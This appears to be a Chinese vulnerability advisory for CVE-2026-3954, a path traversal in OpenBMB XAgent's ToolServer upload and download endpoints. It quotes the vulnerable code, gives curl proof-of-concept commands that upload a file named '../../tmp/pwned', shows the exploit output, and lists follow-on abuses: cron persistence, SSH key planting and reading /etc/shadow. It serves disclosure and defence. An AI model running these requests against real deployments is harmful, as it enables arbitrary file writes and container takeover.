XAgent路径穿越漏洞CVE-2026-3954
XAgent是面壁智能(OpenBMB) 与清华大学NLP实验室联合研发的开源大模型自主智能体(Autonomous Agent),可处理复杂任务。
一、基本情况
XAgent 核心是让 AI 理解自然语言指令后,自主规划、拆解、执行复杂任务,无需人类全程干预,称为 “超越 AutoGPT 的自主智能体”。

XAgent 的定位是基于 LLM 的实验性自主智能体,内置的多 Agent 协同体系,可面向复杂任务的自动求解,支持人机协作与安全执行。
栋科技漏洞库关注到 OpenBMB XAgent 1.0.0 版本中存在的路径穿越漏洞,漏洞现已经被追踪为CVE-2026-3954,CVSS 4.0评分6.9。
二、漏洞分析
XAgentServer 组件的 `XAgentServer/application/routers/workspace.py` 文件中,`workspace` 函数对 `file_name` 参数的处理存在缺陷。
由于未对用户提供的文件名进行充分的路径规范化和过滤,远程攻击者可利用该漏洞通过构造包含路径遍历序列(如 `../`)的恶意请求。
ToolServer/ToolServerNode/main.py 中的 /upload_file 接口会直接获取用户在多部分文件上传中提供的文件名,
然后将其未经任何安全过滤处理直接传入 os.path.join() 函数,这期间没进行任何的清理。
攻击者可以通过提交包含 ../ 跳转序列的文件名(例如../../tmp/pwned),可以将任意文件写入容器文件系统上的任何位置。
由于ToolServerNode容器以root身份运行,这意味着对文件系统的完全控制——覆盖应用程序代码、植入cron作业或删除SSH密钥。
根据 Docker Hub 提取的官方生产镜像(xagentteam/toolserver-node:latest 和 xagentteam/toolserver-manager:latest)得以验证。
毕竟这些镜像是使用项目自己的Docker-compose.yml部署的。
详细来说,在 ToolServer/ToolServerNode/main.py 文件中,upload_file 函数直接从传入请求中读取 file.filename,
并使用 os.path.join(work_directory, file_name) 中使用它来构建写入路径:
@app.post('/upload_file')
async def upload_file(file:UploadFile):
upload_file = file.file.read()
file_name = file.filename # user-controlled
work_directory = CONFIG['filesystem']['work_directory'] # /app/workspace/
with open(os.path.join(work_directory, file_name),'wb') as f: # path traversal here
f.write(upload_file)
return {"message": "Upload Success!"}
file.filename 取自多部分请求体的 Content-Disposition 头中的 filename 字段。
攻击者可将其设置为类似 ../../tmp/pwned 的值,而 os.path.join("/app/workspace/", "../../tmp/pwned") 会解析为 /tmp/pwned。
代码中未调用 os.path.basename()、未过滤 ../、未做 os.path.realpath() 校验,也未使用白名单验证。
该路径完全突破了预期的 /app/workspace/ 目录限制。
监听 8080 端口的 ToolServerManager 作为面向外部的代理。
当调用 /upload_file 时,Manager 的 route_to_node() 函数(位于 ToolServer/ToolServerManager/main.py 第 228 行)
会将原始 HTTP 请求体直接转发给 ToolServerNode,不会检查或净化多部分内容。
因此路径穿越 payload 可完整、无修改地穿透整个生产环境架构。
此外,同一文件第 64 行的 /download_file 接口存在同类漏洞:file_path 由用户控制,
并在第 80 行通过 os.path.join(work_directory, file_path) 拼接路径,
允许攻击者读取容器内任意文件(例如 /etc/shadow、应用源代码等)。
第 77 行的 startswith(os.path.basename(...)) 校验极易被绕过,因为它仅剥离工作区目录名称前缀,无法阻止 ../ 路径穿越。
三、POC概念验证
1、环境设置:
git clone https://github.com/OpenBMB/XAgent.git
cd XAgent
docker compose up -d ToolServerManager ToolServerNode db
# Wait ~30s for ToolServerManager to become healthy
2、漏洞利用:
# 1. Get a session cookie (this spawns a ToolServerNode container)
curl -v -X POST http://127.0.0.1:8080/get_cookie
# Note the node_id from the Set-Cookie header
# 2. Upload a file with a traversal filename
echo "PWNED" > /tmp/payload.txt
curl -X POST http://127.0.0.1:8080/upload_file \
-b "node_id=<NODE_ID_FROM_STEP_1>" \
-F "file=@/tmp/payload.txt;filename=../../tmp/pwned"
# Returns: {"message":"Upload Success!"}
# 3. Verify the file landed outside the workspace
管理员已设置登录后刷新可查看3、或者使用这份 Python 漏洞利用脚本:
管理员已设置登录后刷新可查看四、证据截图
1、漏洞利用脚本执行输出(针对生产环境镜像):
[*] Target: http://127.0.0.1:8080
[*] Attack flow: Manager:8080 → /get_cookie → /upload_file (proxied to Node)
[*] Step 1: Getting session cookie from ToolServerManager...
[+] Got node_id: b2077291cea4e2e3...
[+] ToolServerNode container spawned
[*] Step 2: Sending malicious upload with filename: ../../tmp/pwned
[*] Expected write location in container: /tmp/pwned
[*] Response status: 200
[*] Response body: {"message":"Upload Success!"}
[+] =========================================
[+] EXPLOIT SUCCESSFUL!
[+] =========================================
2、在生产容器内部进行的独立验证:
$ docker exec b2077291cea4 cat /tmp/pwned
PATH_TRAVERSAL_PROOF: XAgent ToolServerNode /upload_file arbitrary file write via production ToolServerManager
$ docker exec b2077291cea4 ls -la /app/workspace/
total 12
drwxr-xr-x 2 root root 4096 Nov 22 2023 .
drwxr-xr-x 1 root root 4096 Feb 22 03:47 ..
$ docker exec b2077291cea4 head -3 /app/main.py
import os
import sys
import zipfile
3、生产镜像确认:
$ docker ps --format "table {{.ID}}\t{{.Image}}\t{{.Status}}"
baf4147050ec xagentteam/toolserver-node:latest Up 8 seconds (healthy)
0fa7b77716b5 xagentteam/toolserver-manager:latest Up 38 seconds (healthy)
4、影响
这是一个任意文件写入漏洞,能够访问 ToolServerManager HTTP 接口(端口 8080)的攻击者可以:
- 覆盖应用代码(../../app/main.py)注入后门
- 写入定时任务(../../etc/cron.d/evil)实现持久化远程代码执行(RCE)
- 植入 SSH 密钥(../../root/.ssh/authorized_keys)获取直接 Shell 权限
- 在文件系统任意路径下篡改或销毁数据
- 容器以 root 权限运行,因此无任何权限限制。
- 再加上 /get_cookie 接口可无认证创建会话,任何同一网络下的攻击者无需任何权限即可利用此漏洞。
五、影响范围
生态系统:pip
包名称:XAgent (OpenBMB/XAgent)
受影响版本:所有版本,直至最新提交(3619c25)均受影响
六、修复建议
无
七、参考链接
管理员已设置登录后刷新可查看